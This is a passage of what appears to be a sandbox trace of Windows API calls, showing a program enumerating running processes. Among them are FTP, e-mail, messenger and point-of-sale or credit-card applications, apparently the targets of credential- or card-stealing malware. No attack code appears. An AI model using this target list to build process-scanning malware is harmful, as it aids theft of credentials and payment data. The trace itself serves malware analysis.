th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0234.795] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0234.796] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0234.798] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0234.800] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0234.802] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0234.804] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0234.805] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0234.807] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0234.809] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0234.810] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0234.812] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0234.814] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0234.815] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0234.866] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0234.867] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0234.869] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0234.870] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0234.872] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0234.873] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0234.875] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0234.876] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0234.878] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0234.880] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0234.881] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0234.883] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0234.884] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0234.886] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0234.888] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0234.890] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0234.892] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0234.894] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0234.896] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0234.898] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0234.900] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0234.902] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0234.904] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0234.906] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0234.907] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0234.958] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0234.960] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0234.962] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0234.964] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0234.966] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0234.967] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0234.969] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0234.971] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0234.973] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0234.975] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0234.977] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0234.979] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0234.980] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0234.982] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0234.984] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0234.986] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0234.988] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0234.989] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0234.991] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0234.993] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0234.994] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0234.996] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0234.998] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0235.000] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0235.001] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0235.054] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0235.057] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0235.058] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0235.060] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0235.062] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0235.063] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0235.065] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0235.071] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0235.073] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0235.075] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0235.076] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0235.078] CloseHandle (hObject=0xc20) returned 1 [0235.078] Sleep (dwMilliseconds=0x64) [0235.134] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0235.148] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.149] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0235.151] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0235.152] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.154] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0235.155] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.156] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0235.158] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0235.209] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0235.212] Process32Next (in: 